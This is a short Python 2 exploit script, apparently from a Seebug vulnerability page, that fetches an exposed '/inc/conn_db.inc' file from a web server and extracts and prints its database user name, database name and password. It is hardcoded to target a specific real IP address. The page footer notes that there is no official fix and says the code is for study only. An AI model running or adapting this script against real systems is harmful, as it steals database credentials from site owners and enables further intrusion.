#!/usr/bin/env python import urlparse import re import urllib2 def assign(service, arg): if service != "www": return arr = urlparse.urlparse(arg) return True, '%s://%s/inc/conn_db.inc' % (arr.scheme, arr.netloc) def getMiddleStr(content, r): pattern = re.compile(r) return pattern.search(content).groups()[0] def audit(arg): url = arg response = urllib2.urlopen(url) code = response.getcode() res = response.read() if code == 200: print 'db_id: ' + getMiddleStr(res, '\$db_id = "(\w*)"\w*') print 'db_name: ' + getMiddleStr(res, '\$db_name = "(\w*)"\w*') print 'db_pass: ' + getMiddleStr(res, '\$db_pass = "(\w*)"\w*') if __name__ == '__main__': audit(assign('www', 'http://61.77.63.86/')[1])
暂无官方解决方案
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论